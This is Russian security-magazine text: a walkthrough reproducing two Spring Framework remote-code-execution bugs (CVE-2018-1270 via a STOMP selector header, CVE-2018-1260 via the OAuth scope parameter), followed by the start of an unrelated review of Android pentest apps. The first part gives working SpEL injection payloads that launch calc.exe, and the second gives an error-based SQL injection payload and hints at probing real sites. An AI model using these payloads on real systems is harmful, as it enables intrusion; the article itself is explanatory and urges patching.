Maven или дру гая Ant‐подоб ная тул за для бил да;•
в иде але какая‐нибудь IDE, но и обыч ный тек сто вый редак тор сой дет.•

Как ты уже понял, для каж дой уяз вимос ти нуж но будет ска чивать, ком пилиро‐ 
вать  и  запус кать  при ложе ния,  написан ные  на  Java.  Ком пиляция  и  запуск
в общем слу чае будут сво дить ся к паре команд.

$ mvn package
$ java ‐jar target\package.jar

Ес ли  вос поль зуешь ся  IDE,  то  про цесс  будет  более  наг лядным. Я  для  сво ей
работы возь му IntelliJ IDEA. Все осталь ные манипу ляции рас смот рим по ходу
раз бора уяз вимос тей. Пог нали!

RCE В МОДУЛЕ SPRING-MESSAGING (CVE-2018-1270)
Пер вый баг в спис ке — это уда лен ное выпол нение команд в модуле spring‐
messaging,  который  вхо дит  в  стан дар тную  пос тавку  Spring  Framework.  Уяз‐ 
вимость, най ден ная 5 апре ля, получи ла иден тифика тор   и име‐ 
ет  ста тус  кри тичес кой.  Она  зат рагива ет  все  вер сии  фрей мвор ка
из  веток  4  и  5,  вплоть  до  акту аль ных  4.3.14  и  5.0.4.  Проб лема  зак люча ется
в некор рек тной логике обра бот ки STOMP‐сооб щений  (Simple/Streaming Text
Oriented Message Protocol) и лег ко экс плу ати рует ся уда лен но.

CVE‐2018‐1270

STOMP — это спе циаль но спро екти рован ный про токол обме на сооб щени‐ 
ями.  Он  прост  и  осно ван  на  фрей мах,  подоб но  HTTP.  Фрейм  сос тоит
из коман ды, необя затель ных заголов ков и необя затель ного тела. Бла года ря
сво ей прос тоте STOMP может быть реали зован поверх боль шого количес тва
дру гих  про токо лов,  таких  как  RabbitMQ,  ActiveMQ  и  дру гих.  Так же  мож но
успешно орга низо вать работу поверх WebSockets. Имен но этот спо соб нам
инте ресен в рам ках уяз вимос ти, так как проб лема находит ся в модуле spring‐
messaging, в реали зации про токо ла STOMP.

Для тес тирова ния уяз вимос ти нам пот ребу ется ска чать при меры исполь‐ 
зования  STOMP  из  репози тория 

. Подой дет любой ком мит до 5 апре ля.
https://github.com/spring‐guides/gs‐messag‐

ing‐stomp‐websocket

Ком миты в репози тории с при мера ми работы про токо ла STOMP

$ git clone https://github.com/spring‐guides/gs‐messag
ing‐stomp‐websocket
$ cd gs‐messaging‐stomp‐websocket
$ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

Те перь  заг лянем  в  пап ку,  где  хра нит ся  фрон тенд.  Нас  инте ресу ет  файл 
, а в нем — фун кция, которая отве чает за под клю чение кли ента к сер‐ 

веру. Для этих целей здесь исполь зует ся биб лиоте ка SockJS.
app.js

/gs-messaging-stomp-
websocket/complete/src/main/resources/static/app.js
15: function connect() {
16:     var socket = new SockJS('/gs‐guide‐websocket');
17:     stompClient = Stomp.over(socket);
18:     stompClient.connect({}, function (frame) {
19:         setConnected(true);
20:         console.log('Connected: ' + frame);
21:         stompClient.subscribe('/topic/greetings', function (
greeting) {
22:             showGreeting(JSON.parse(greeting.body).content);
23:         });
24:     });
25: }

Нам нуж но добавить перемен ную с пей лоадом,  которая будет отправ лять ся
в  качес тве заголов ка    при  соз дании  под клю чения. Для облегче ния
экс плу ата ции мож но сде лать это до ком пиляции.

selector

15: function connect() {
16:     var header = {"selector":"T(java.lang.Runtime).getRuntime().
exec('calc.exe')"};
17:     var socket = new SockJS('/gs‐guide‐websocket');
18:     stompClient = Stomp.over(socket);
19:     stompClient.connect({}, function (frame) {
20:         setConnected(true);
21:         console.log('Connected: ' + frame);
22:         stompClient.subscribe('/topic/greetings', function (
greeting) {
23:             showGreeting(JSON.parse(greeting.body).content);
24:         }, header);
25:     });
26: }

Пос ле это го мож но откомпи лиро вать и запус тить при ложе ние.

$ cd complete
$ mvn package
$ java ‐jar target/gs‐messaging‐stomp‐websocket‐0.1.0.jar

За пущен ное при ложе ние для тес тирова ния STOMP

Сог ласно    передан ные  в  хидере 
дан ные будут исполь зовать ся для филь тра ции информа ции о под писках.

спе цифи кации  про токо ла  STOMP selector

В фай ле   име ется фун кция, которая
отра баты вает  при  соз дании  нового  под клю чения,  где  генери рует ся  новая
под писка на события для это го кли ента.

DefaultSubscriptionRegistry.java

/org/springframework/messaging/simp/broker/DefaultSubscription-
Registry.java
139: @Override
140: protected void addSubscriptionInternal(
141:         String sessionId, String subsId, String destination, 
Message<?> message) {
142:
143:     Expression expression = null;
144:     MessageHeaders headers = message.getHeaders();
145:     String selector = SimpMessageHeaderAccessor.getFirstNativeH
eader(getSelectorHeaderName(), headers);
...
160:     this.subscriptionRegistry.addSubscription(sessionId, subsId,
destination, expression);

161:     this.destinationCache.updateAfterNewSubscription(destination
, sessionId, subsId);

А  если  встре чает ся  хидер  ,  то  его  содер жимое  интер пре тиру ется
как выраже ние на язы ке   (Spring Expression Language). За его обра бот ку
отве чает фун кция   клас са  .

selector
SpEL

doParseExpression SpelExpression

/org/springframework/expression/spel/standard/InternalSpelExpres-
sionParser.java
121: @Override
122: protected SpelExpression doParseExpression(String expres
sionString, @Nullable ParserContext context)
123:         throws ParseException {
124:
125:     try {
126:         this.expressionString = expressionString;
127:         Tokenizer tokenizer = new Tokenizer(expressionString);
128:         this.tokenStream = tokenizer.process();
129:         this.tokenStreamLength = this.tokenStream.size();
130:         this.tokenStreamPointer = 0;
131:         this.constructedNodes.clear();
132:         SpelNodeImpl ast = eatExpression();
133:         Assert.state(ast != null, "No node");

Об работ ка заголов ка selector при соз дании соеди нения

Здесь есть   вызова конс трук тора   при помощи
модифи като ра  .

воз можность java.lang.Class
T

Пар синг выраже ния, передан ного в selector

Это зна чит, что мы доволь но прос то можем соз дать экзем пляр объ екта 
 и выпол нить про изволь ную коман ду при помощи метода  .

java.
lang.Runtime exec

Об работан ное выраже ние на SpEL, передан ное в selector

Те перь,  пос ле  того  как  селек тор  при вязан  к  сооб щени ям,  на  которые  под‐ 
писан поль зователь, мож но про дол жать обще ние с сер вером,  что бы начать
получать эти самые сооб щения. Для это го в при мере пре дус мотрен стан дар‐ 
тный  .Hello, %username%

Ког да  гость  отпра вит  имя  с  помощью  соот ветс тву ющей  фор мы,  сер вер
дол жен  его  поп риветс тво вать.  То  есть  он  дол жен  выс лать  ответ  всем  поль‐ 
зовате лям,  которые  под писаны  на  это  событие.  Этим  занима ется  фун кция

,  в  которой  выпол няет ся  метод 
. Он находит всех адре сатов,  которые были под писаны на сооб щения

это го типа.

sendMessageToSubscribers findSubscrip‐
tions

/org/springframework/messaging/simp/broker/SimpleBrokerMes-
sageHandler.java
349: protected void sendMessageToSubscribers(@Nullable String destin
ation, Message<?> message) {
350:     MultiValueMap<String,String> subscriptions = this.subscr
iptionRegistry.findSubscriptions(message);
351:     if (!subscriptions.isEmpty() && logger.isDebugEnabled()) {
352:         logger.debug("Broadcasting to " + subscriptions.size() +
" sessions.");

353:     }

Да лее  попада ем  в  метод  .  Внут ри  него  про‐ 
исхо дит вызов  .

findSubscriptionsInternal
filterSubscriptions

/org/springframework/messaging/simp/broker/DefaultSubscription-
Registry.java
183: @Override
184: protected MultiValueMap<String, String> findSubscriptio
nsInternal(String destination, Message<?> message) {
185:     MultiValueMap<String, String> result = this.destinationCache
.getSubscriptions(destination, message);
186:     return filterSubscriptions(result, message);
187: }
188:
189: private MultiValueMap<String, String> filterSubscriptions(
190:         MultiValueMap<String, String> allMatches, Message<?> 
message) {
191:
...
207:             Expression expression = sub.getSelectorExpression();

Этот метод выпол няет выбор ку всех передан ных ранее пра вил, что бы затем
на  их  осно ве  выпол нить  филь тра цию  сооб щения.  Тут  же,  разуме ется,
находит ся и наш экс прешн.

Най ден ные филь тры для текуще го сооб щения

Даль ше  за  дело  берет ся  обра бот чик  выраже ний  SpEL,  вызыва ется  метод
. В него переда ется кон текст, в котором будет выпол нять‐ 

ся наше выраже ние, и его атри буты.
getValueInternal

/org/springframework/expression/spel/ast/MethodReference.java
84: @Override
85: public TypedValue getValueInternal(ExpressionState state) throws 
EvaluationException {
86:     EvaluationContext evaluationContext = state.getEvaluationCo
ntext();
87:     Object value = state.getActiveContextObject().getValue();
88:     TypeDescriptor targetType = state.getActiveContextObject().
getTypeDescriptor();
89:     Object[] arguments = getArguments(state);
90:     TypedValue result = getValueInternal(evaluationContext, value
, targetType, arguments);
91:     updateExitTypeDescriptor();
92:     return result;
93: }

Так  как  мы  исполь зуем  экзем пляр  клас са  ,  имен но  он
и будет выз ван через обер тку  .

java.lang.Runtime
MethodExecutor

/org/springframework/expression/spel/ast/MethodReference.java
095: private TypedValue getValueInternal(EvaluationContext evalua
tionContext,
096:         @Nullable Object value, @Nullable TypeDescriptor target
Type, Object[] arguments) {
...
104:     MethodExecutor executorToUse = getCachedExecutor(evalua
tionContext, value, targetType, argumentTypes);
105:     if (executorToUse != null) {
106:         try {
107:             return executorToUse.execute(evaluationContext, 
value, arguments);

Вы зов передан ного пей лоада с помощью ReflectiveMethodExecutor

За тем  вызыва ется  метод  ,  и  мы  наб люда ем  открыв шееся  окош ко
каль кулято ра.

execute

/org/springframework/expression/spel/support/ReflectiveMethodEx-
ecutor.java
110: @Override
111: public TypedValue execute(EvaluationContext context, Object 
target, Object... arguments) throws AccessException {
112:     try {
113:         this.argumentConversionOccurred = ReflectionHelper.
convertArguments(
114:                 context.getTypeConverter(), arguments, this.
method, this.varargsPosition);
115:         if (this.method.isVarArgs()) {
116:             arguments = ReflectionHelper.setupArgumentsF
orVarargsInvocation(
117:                     this.method.getParameterTypes(), arguments);
118:         }
119:         ReflectionUtils.makeAccessible(this.method);
120:         Object value = this.method.invoke(target, arguments);
121:         return new TypedValue(value, new TypeDescriptor(new 
MethodParameter(this.method, ‐1)).narrow(value));

Ус пешная экс плу ата ция уяз вимос ти CVE‐2018‐1270

С этим багом, пожалуй, все. Перехо дим к сле дующе му.

Продолжение статьи →

https://twitter.com/iamsecurity
https://nvd.nist.gov/vuln/detail/CVE-2018-1270
https://github.com/spring-guides/gs-messaging-stomp-websocket
https://stomp.github.io/stomp-specification-1.0.html#frame-SUBSCRIBE
https://docs.spring.io/spring/docs/5.0.4.RELEASE/spring-framework-reference/core.html#expressions
https://docs.spring.io/spring/docs/5.0.4.RELEASE/spring-framework-reference/core.html#expressions-types
https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/expression/spel/support/ReflectiveMethodExecutor.html


ВЕСЕННЕЕ

ОБОСТРЕНИЕ
КАК РАБОТАЮТ

ДВЕ КРИТИЧЕСКИЕ УЯЗВИМОСТИ
В SPRING FRAMEWORK

ВЗЛОМ  НАЧАЛО СТАТЬИ←

RCE В МОДУЛЕ OAUTH-АВТОРИЗАЦИИ SPRING-SECURITY-OAUTH2
(CVE-2018-1260)
Ду маю, никому не нуж но объ яснять, что за зверь такой про токол авто риза ции
OAuth. В интерне те куча  , которые сде лают это на порядок луч ше и под‐ 
робнее,  чем  я.  Так  что  сра зу  перей дем  к  кон крет ной  реали зации  OAuth
во  фрей мвор ке  Spring.  Для  этих  целей  име ется  модуль 

.

ста тей

spring‐security‐
oauth2

Рас смат рива емая уяз вимость зат рагива ет сле дующие его вер сии:
2.3 до 2.3.3;•
2.2 до 2.2.2;•
2.1 до 2.1.2;•
2.0 до 2.0.15.•

Ата кующий при помощи спе циаль но сфор мирован ного зап роса к точ ке авто‐ 
риза ции  может  зас тавить  сис тему  выпол нить  про изволь ный  код  пос ле
успешно го  вхо да  и  перенап равле ния  на  точ ку  его  под твержде ния.
Для  успешной  экс плу ата ции  уяз вимое  при ложе ние  дол жно  соот ветс тво вать
некото рым тре бова ниям:

ра ботать  в  роли  сер вера  авто риза ции  (нап ример,
@EnableAuthorizationServer);

•

не иметь огра ниче ния области видимос ти (по дефол ту имен но так);•
ис поль зовать  дефол тную  точ ку  под твержде ния  авто ризо ван ных  поль‐ 
зовате лей.

•

Да вай  соз дадим  эти  усло вия.  Для  тес товых  целей  поза имс тву ем  у  наших
китай ских  кол лег  при мер  при ложе ния,  которое  исполь зует  авто риза цию
по про токо лу OAuth2.

$ git clone https://github.com/wanghongfei/
spring‐security‐oauth2‐example.git

Те перь нуж но нас тро ить авто риза цию. Для это го заг лянем в метод 
из  фай ла    и  рас коммен тиру ем  стро ки,  что бы
получи лось сле дующее.

configure
OAuthSecurityConfig.java

/src/main/java/cn/com/sina/alan/oauth/config/OAuthSecurityConfig.-
java
67: @Override
68: public void configure(ClientDetailsServiceConfigurer clients) 
throws Exception {
69:     // clients.withClientDetails(clientDetails());
70:     clients.inMemory()
71:             .withClient("client")
72:             .authorizedGrantTypes("authorization_code")
73:             .scopes();
74: }

За тем нуж но соз дать струк туру таб лиц в базе дан ных MySQL сог ласно пред‐ 
став ленной на стра нице репози тория схе ме и ука зать наши дан ные для под‐ 
клю чения  к  сер веру  в фай ле  . В  качес тве сер вера
MySQL я под ниму кон тей нер Docker.

application.properties

$ docker run ‐p3306:3306 ‐e MYSQL_USER="oauth" ‐e MYSQL_
PASSWORD="TPH9YQ8lJV" ‐e MYSQL_DATABASE="alan‐oauth" ‐d ‐‐rm 
‐‐name=mysql ‐‐hostname=mysql mysql/mysql‐server
$ docker exec ‐ti mysql /bin/bash
$ mysql ‐u oauth ‐D "alan‐oauth" ‐‐password="TPH9YQ8lJV"

/src/main/resources/application.properties
07: spring.datasource.url=jdbc:mysql://192.168.99.100:3306/
alan‐oauth?characterEncoding=UTF‐8
08: spring.datasource.username=oauth
09: spring.datasource.password=TPH9YQ8lJV
10: spring.datasource.driver‐class‐name=com.mysql.jdbc.Driver

Пос ле это го запус каем ском пилиро ван ное при ложе ние и видим фор му авто‐ 
риза ции.

За пущен ное при ложе ние — при мер авто риза ции через OAuth

Да вай сра зу к экс пло иту. Перехо дим по адре су

http://127.0.0.1:8080/oauth/authorize?client_id=client&respon
se_type=code&redirect_uri=http://www.github.com/&
scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.
exe%22%29%7D

Нас  сно ва  переб росит  на  фор му  авто риза ции,  в  которой  мож но  ука зать
любой  логин  и  пароль.  Нажима ем  «Вой ти»  и  наб люда ем  запущен ный  каль‐ 
кулятор.

Ус пешная экс плу ата ция модуля OAuth‐авто риза ции 
spring‐security‐oauth2

Что же это за вол шебная ссыл ка? Обра ти вни мание на ее парамет ры. 
  ука зыва ет  на  сер вис,  с  помощью  которо го мы  яко бы будем авто‐ 

ризо вывать ся,  а  вот  параметр  области  видимос ти  ( )  содер жит
любопыт ную стро ку:

redi‐
rect_uri

scope

${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

Так‐так. Ничего не напоми нает? Это то же самое выраже ние на язы ке Spring
Expression Language (SpEL), что мы исполь зовали при экс плу ата ции пре дыду‐ 
щей уяз вимос ти.

Ког да ты перехо дишь по ссыл ке, в текущей сес сии сох раня ются передан‐ 
ные  нас трой ки  для  даль нейшей  авто риза ции.  Пос ле  нажатия  кноп ки  Login
отра баты вает метод  .authorize

/org/springframework/security/oauth2/provider/endpoint/Authoriza-
tionEndpoint.java
116: @RequestMapping(value = "/oauth/authorize")
117: public ModelAndView authorize(Map<String, Object> model, @Reques
tParam Map<String, String> parameters,
118:         SessionStatus sessionStatus, Principal principal) {
...
123:     AuthorizationRequest authorizationRequest = getOAuth2Reques
tFactory().createAuthorizationRequest(parameters);

Этот метод фор миру ет  зап рос на сер вер авто риза ции для получе ния  клю ча
текуще го поль зовате ля. Дан ные, которые мы ука зали, переда ются в перемен‐ 
ной  .parameters

От ладка фор мирова ния зап роса на авто риза цию

В резуль тате будет соз дан экзем пляр клас са  . Даль‐ 
ше  по  коду  начина ется  про вер ка  его  атри бута    при  помощи 

.

AuthorizationRequest
scope vali‐

dateScope

/org/springframework/security/oauth2/provider/endpoint/Authoriza-
tionEndpoint.java
135: try {
136:
137:     if (!(principal instanceof Authentication) || !((Authen
tication) principal).isAuthenticated()) {
138:         throw new InsufficientAuthenticationException(
139:                 "User must be authenticated with Spring 
Security before authorization can be completed.");
140:     }
...
156:      oauth2RequestValidator.validateScope(authorizationRequest, 
client);

/org/springframework/security/oauth2/provider/request/DefaultOAu-
th2RequestValidator.java
17: public class DefaultOAuth2RequestValidator implements OAuth2
RequestValidator {
18:
19:     public void validateScope(AuthorizationRequest author
izationRequest, ClientDetails client) throws InvalidScopeException {
20:         validateScope(authorizationRequest.getScope(), client.
getScope());
21:     }

/org/springframework/security/oauth2/provider/request/DefaultOAu-
th2RequestValidator.java
27: private void validateScope(Set<String> requestScopes, Set<String>
clientScopes) {

Тут  про исхо дит  срав нение  дан ных,  передан ных  в  ,  с  ука зан ной
областью видимос ти по умол чанию в нас трой ках в самом начале. Так как мы
не  переда ли  никакие  парамет ры  в  метод  ,  то  кли енту  раз решено
исполь зовать  любой.    сооб щает  нам,  что  такое
поведе ние исполь зует ся по умол чанию.

scope

scopes()
Офи циаль ная  докумен тация

Раз дел докумен тации о парамет рах нас трой ки кли ента

Ес ли же области  видимос ти не сов пада ют  с  ука зан ной,  то при ложе ние воз‐ 
вра щает исклю чение.

/org/springframework/security/oauth2/provider/request/DefaultOAu-
th2RequestValidator.java
29: if (clientScopes != null && !clientScopes.isEmpty()) {
30:     for (String scope : requestScopes) {
31:         if (!clientScopes.contains(scope)) {
32:             throw new InvalidScopeException("Invalid scope: " + 
scope, clientScopes);
33:         }
34:     }
35: }

Ис клю чение  так же  при ведет  к  отсутс твию  передан ного  парамет ра 
в зап росе.

scope

/org/springframework/security/oauth2/provider/request/DefaultOAu-
th2RequestValidator.java
37:     if (requestScopes.isEmpty()) {
38:         throw new InvalidScopeException("Empty scope (either the 
client or the user is not allowed the requested scopes)");
39:     }
40: }

Ес ли все про вер ки прош ли успешно, то при ложе ние перехо дит к фазе непос‐ 
редс твен ной авто риза ции.

/org/springframework/security/oauth2/provider/endpoint/Authoriza-
tionEndpoint.java
180: model.put("authorizationRequest", authorizationRequest);
181:
182: return getUserApprovalPageResponse(model, authorizationRequest, 
(Authentication) principal);

Сог ласно  передан ным  дан ным  метод 
перенап равля ет наш вызов на стра ницу под твержде ния дос тупа 

.

getUserApprovalPageResponse
/oauth/con‐

firm_access

AuthorizationEndpoint.java
242: private ModelAndView getUserApprovalPageResponse(Map<String, 
Object> model,
243:         AuthorizationRequest authorizationRequest, Authen
tication principal) {
244:     logger.debug("Loading user approval page: " + userAp
provalPage);
245:     model.putAll(userApprovalHandler.getUserApprovalRequest(
authorizationRequest, principal));
246:     return new ModelAndView(userApprovalPage, model);
247: }

Пе ренап равле ние на стра ницу /oauth/confirm_access

В  ито ге  выпол нение  переда ется  в  метод    клас са
.

getAccessConfirmation
WhitelabelApprovalEndpoint

/org/springframework/security/oauth2/provider/endpoint/Whitela-
belApprovalEndpoint.java
17: @SessionAttributes("authorizationRequest")
18: public class WhitelabelApprovalEndpoint {
19:
20:     @RequestMapping("/oauth/confirm_access")
21:     public ModelAndView getAccessConfirmation(Map<String, Object>
model, HttpServletRequest request) throws Exception {

22:         String template = createTemplate(model, request);

Ра зуме ется, перед выводом стра ницы поль зовате лю ее нуж но соз дать. Этим
и занима ется  . В аргу мен те   находит ся сфор мирован‐ 
ный нами ранее зап рос на авто риза цию.

createTemplate model

/org/springframework/security/oauth2/provider/endpoint/Whitela-
belApprovalEndpoint.java
29: protected String createTemplate(Map<String, Object> model, HttpSe
rvletRequest request) {
30:     String template = TEMPLATE;

Кон стан та    содер жит  в  себе  исходный  код  стра ницы  с  раз ными
плей схол дерами,  которые  в  даль нейшем  будут  замене ны  на  акту аль ные
для текуще го юзе ра дан ные.

TEMPLATE

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${author
izationRequest.clientId}' to access your protected resources?</p><
form id='confirmationForm' name='confirmationForm' action='${path}/
oauth/authorize' method='post'><input name='user_oauth_approval' 
value='true' type='hidden'/>%csrf%%scopes%<label><input name='author
ize' value='Authorize' type='submit'/></label></form>%denial%</body>
</html>

Об рати вни мание на  . Информа ция о передан ной области видимос‐ 
ти отоб ража ется на стра нице.

%scopes%

/org/springframework/security/oauth2/provider/endpoint/Whitela-
belApprovalEndpoint.java
31:     if (model.containsKey("scopes") || request.getAttribute(
"scopes") != null) {
32:         template = template.replace("%scopes%", createScopes(
model, request)).replace("%denial%", "");
33:     }
34:     else {
35:         template = template.replace("%scopes%", "").replace(
"%denial%", DENIAL);
36:     }
...
43:     return template;
44: }

Пос ле  всех  манипу ляций  сфор мирован ный    выг лядит  сле дующим
обра зом:

template

<html><body><h1>OAuth Approval</h1><p>Do you authorize '${author
izationRequest.clientId}' to access your protected resources?</p><
form id='confirmationForm' name='confirmationForm' action='${path}/
oauth/authorize' method='post'><input name='user_oauth_approval' 
value='true' type='hidden'/><input type='hidden' name='${_csrf.parame
terName}' value='${_csrf.token}' /><ul><li><div class='form‐group'>
scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input 
type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec(
"calc.exe")}' value='true'>Approve</input> <input type='radio' name=
'scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value=
'false' checked>Deny</input></div></li></ul><label><input name=
'authorize' value='Authorize' type='submit'/></label></form></body></
html>

Сле дим за прик лючени ями нашей стро ки. Теперь она при зем лилась здесь:

scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

А даль ше под готов ленный шаб лон переда ется в  .SpelView

/org/springframework/security/oauth2/provider/endpoint/Whitela-
belApprovalEndpoint.java
26: return new ModelAndView(new SpelView(template), model);

Та ким обра зом, весь шаб лон интер пре тиру ется как выраже ние SpEL. Как ты
уже  зна ешь,  он  раз реша ет  исполь зовать 
для вызова экзем пля ров  . Этим прек расным фак том в оче‐ 
ред ной раз и вос поль зуем ся — для выпол нения кода через метод   клас‐ 
са  .  Ну  а  даль ше  все  по  накатан ной:  наш  пей лоад  пар‐ 
сится с помощью   и в ито ге запус кает ся каль кулятор.

конс трук ции  с  опе рато ром  T
java.lang.Class

exec
java.lang.Runtime

parseExpression

Пар синг передан ного пей лоада для выпол нения коман ды calc.exe

SpelView.java
48: public SpelView(String template) {
49:     this.template = template;
50:     this.prefix = new RandomValueStringGenerator().generate() + 
"{";
51:     this.context.addPropertyAccessor(new MapAccessor());
52:     this.resolver = new PlaceholderResolver() {
53:         public String resolvePlaceholder(String name) {
54:             Expression expression = parser.parseExpression(name);

ДЕМОСТРАЦИЯ УЯЗВИМОСТЕЙ (ВИДЕО)

VH#40.0 Sping Security OAuth Module RCE

VH#40.1 Spring Messaging Module RCE

ВЫВОДЫ
Это  далеко  не  все  уяз вимос ти,  которые были  за  пос леднее  вре мя  най дены
в Spring 2. Нап ример, советую обра тить вни мание на 

  и    в  модуле 
,  которая  поз воля ет  вый ти  из  дирек тории  при  рас паков ке  спе циаль но

сфор мирован ных архи вов.

XXE‐уяз вимость в XML‐
Beam проб лему  обра бот ки  ZIP‐архи вов spring‐integration‐
zip

По хоже,  иссле дова тели  серь езно  взя лись  за  фрей мворк:  за  пос ледние
нес коль ко  месяцев  в  его  нед рах  най дено  мно го  серь езных  проб лем.  Так
как  речь  идет  о  при ложе ниях,  написан ных  на  Java,  дело  может  осложнять
и жес ткая при вяз ка к кон крет ным вер сиям модулей.

Эко сис тема Java извес тна  тем,  что при работе с ней неред ко воз ника ют
воп росы  о  час тичной  несов мести мос ти  ста рого  кода  с  обновлен ными  ком‐ 
понен тами.  Мне  пос тоян но  встре чают ся  допотоп ные  вер сии  при ложе ний,
написан ные имен но на Java.

В  общем,  если  у  тебя  где‐то  сто ят  при ложе ния,  написан ные  с  исполь‐ 
зовани ем Spring 2, не зевай и сво евре мен но обновляй их  (по воз можнос ти)
или  накаты вай  секь юри ти‐пат чи  на  сущес тву ющие  час ти  сво ей  инфраструк‐ 
туры.

https://ru.wikipedia.org/wiki/OAuth
http://projects.spring.io/spring-security-oauth/docs/oauth2.html#configuring-client-details
https://docs.spring.io/spring/docs/5.0.4.RELEASE/spring-framework-reference/core.html#expressions-types
https://vimeo.com/275151602
https://vimeo.com/275152860
https://pivotal.io/security/cve-2018-1259
https://pivotal.io/security/cve-2018-1261
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ВЗЛОМ

Тес ты  на  про ник новение  —  легаль ный  спо соб  занимать ся
нас тоящим взло мом, да еще и получать за это день ги. Прод‐ 
винутый  аудит  безопас ности  обыч но  выпол няет ся  на  ноут‐ 
буке с (Kali) Linux и спе цифи чес ким обо рудо вани ем, но мно‐ 
гие бре ши  лег ко  обна ружить  и  с  помощью обыч ного  смар‐ 
тфо на. В этой статье мы рас смот рим 14 ути лит, которые поз‐ 
волят тебе выпол нить пен тест, не дос тавая ноут бук из сум ки.

WARNING

Статья написа на в иссле дова тель ских целях. Вся
информа ция  носит  озна коми тель ный  харак тер.
Ни автор, ни редак ция не несет ответс твен ности
за  неп равомер ное  исполь зование  упо мяну тых
в статье прог рамм.

СКАНЕРЫ ВЕБ-РЕСУРСОВ

Нач нем со ска неров веб‐при ложе ний. Здесь у нас три ути литы, которые поз‐ 
волят  тебе  най ти  откры тые  админки,  сбру тить  пароль,  про тес тировать  сайт
на XSS‐уяз вимос ти, воз можность SQL‐инъ екций, сос тавить лис тинги катало‐ 
гов и мно гое дру гое.

Kayra the Pentester Lite

Где взять: Google Play
Про тес тирован ная вер сия: 1.4.0

Раз мер: 4,7 Мбайт
Вер сия Android: 4.1 и выше

Тре бует ся root: нет

Мо биль ный  ска нер  уяз вимос тей  веб‐при ложе ний.  Ищет  типич ные  ошиб ки
в кон фигура ции ука зан ного веб‐сер вера и пыта ется получить лис тинг катало‐ 
гов (обыч но — успешно). Сре ди допол нитель ных инс тру мен тов есть генера‐ 
тор хешей и дешиф ровщик AES.

Ска ниро вание выб ранно го сай та и нас трой ки

При ложе ние  обла дает  прос тыми  и  понят ными  нас трой ками.  Под держи вает
HTTPS и про веря ет кор рек тность TLS. Уме ет искать XSS, бру тить CGI и выпол‐ 
нять ата ки по сло варю. Может работать в фоне и в мно гопо точ ном режиме.
Содер жит базу дан ных Google Hacks и авто мати чес ки опре деля ет извес тные
уяз вимос ти.

От чет Kayra и экран About

По каж дому пун кту, отме чен ному в нас трой ках ска ниро вания, соз дает ся под‐ 
робный отчет. На скрин шоте вид но лишь его малую часть. Бес плат ная вер сия
доволь но  фун кци ональ на,  но  иног да  раз дра жает  рек ламой  (если  у  тебя
не  сто ит  AdAway  или  дру гой  бло киров щик).  В    нет  рек ламы
и  огра ниче ний,  ее  сто имость  на  момент  написа ния  статьи  сос тавля‐ 
ет 159 руб лей.

плат ной  вер сии

DroidSQLi

Где взять: edgard.net/droidsqli
Про тес тирован ная вер сия: 1.1

Раз мер: 705 Кбайт
Вер сия Android: 4.2 и выше

Тре бует ся root: нет

Ком пак тная ути лита для про вер ки веб‐сай тов на уяз вимость к SQL‐инъ екци ям
четырех раз новид ностей:

Normal  SQL  injection  —  клас сичес кий  вари ант  с  переда чей  парамет ра
;

•
UNION ALL SELECT

Error  based  SQL  injection —  исполь зование  в  зап росах  заведо мо  невер‐ 
ного  син такси са  для  получе ния  сооб щения  об  ошиб ке,  рас кры вающе го
допол нитель ные парамет ры БД;

•

Blind  SQL  injection  —  серия  зап росов  с  ана лизом  отве тов  true/false
от СУБД, поз воля ющая вос ста новить струк туру базы дан ных;

•

Time  based  SQL  injection  —  фор мирова ние  допол нитель ных  зап росов,
вызыва ющих при оста нов ку СУБД на опре делен ное вре мя, что дела ет воз‐ 
можным посим воль ное извле чение дан ных.

•

Де монс тра ция error based SQL‐инъ екции

Ути лита авто мати чес ки под бира ет метод инжекта, а так же исполь зует тех ники
обхо да филь тра ции зап росов.

Для  начала  тес тирова ния  сай та  необ ходимо  вруч ную  най ти  точ ку  вхо да.
Обыч но это адрес веб‐стра ницы, содер жащий зап рос вида   или  ,
где  X  —  целое  положи тель ное  чис ло.  В  нашем  при мере  пей лоад
для парамет ра   выг лядит так:

?id=X ?p=X

id

id=(SELECT 4777 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT
(4777=4777,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH
EMA.PLUGINS GROUP BY x)a)

В Сети очень мно го сай тов, уяз вимых к SQL‐инъ екци ям. Думаю, ты лег ко най‐ 
дешь  нес коль ко  таких,  прос то  пос мотрев  исто рию  сво его  бра узе ра.  Под‐ 
робнее об SQL‐инъ екци ях читай в  .на шей статье

Droidbug Admin Panel Finder FREE

Где взять: Google Play
Про тес тирован ная вер сия: 1.4

Раз мер: 6,3 Мбайт
Вер сия Android: 2.1 и выше

Тре бует ся root: нет

Ути лита ищет админ ские панели по дефол тным адре сам раз ных CMS. Резуль‐ 
тат  ее  работы  не  всег да  соот ветс тву ет  реаль ному  положе нию  вещей,  пос‐ 
коль ку на популяр ных веб‐сер верах сто ят IDS и WAF. Они бло киру ют перебор
URL  или  перенап равля ют  его  в  honeypot,  который  отве чает 
на все зап росы, а сам собира ет инфу об ата кующем.

HTTP  200  OK

Од нако на менее популяр ных сай тах с безопас ностью все очень тос кли во,
и  валид ная  админ ская  панель ка  находит ся  за  счи таные  секун ды.  В 

,  сто имостью  139  руб лей,  убра на  рек лама  и  раз бло киро вана  воз‐ 
можность  перебо ра  по  сме шан ному  шаб лону  для  сай тов  с  под дер жкой
PHP/ASP/CGI/CFM/JS.

плат ной
вер сии

Ищем админки на сай тах

КОМБАЙНЫ

Ин тернет  сос тоит  не  толь ко  из  веб‐при ложе ний,  и  дыры  находят  не  толь ко
в них. Сле дующая под борка инс тру мен тов поз волит  тебе искать уяз вимос ти
(и  экс пло иты  для  них)  в  соф те  и  железе,  выпол нять  сниф финг, MITM‐ата ки,
оставлять бэк доры и делать мно го дру гих инте рес ных вещей.

cSploit

Где взять: github.com/cSploit
Про тес тирован ная вер сия: 1.6.6 RC2

Раз мер: 3,5 Мбайт
Тес товые сбор ки cSploit Nightly дос тупны здесь

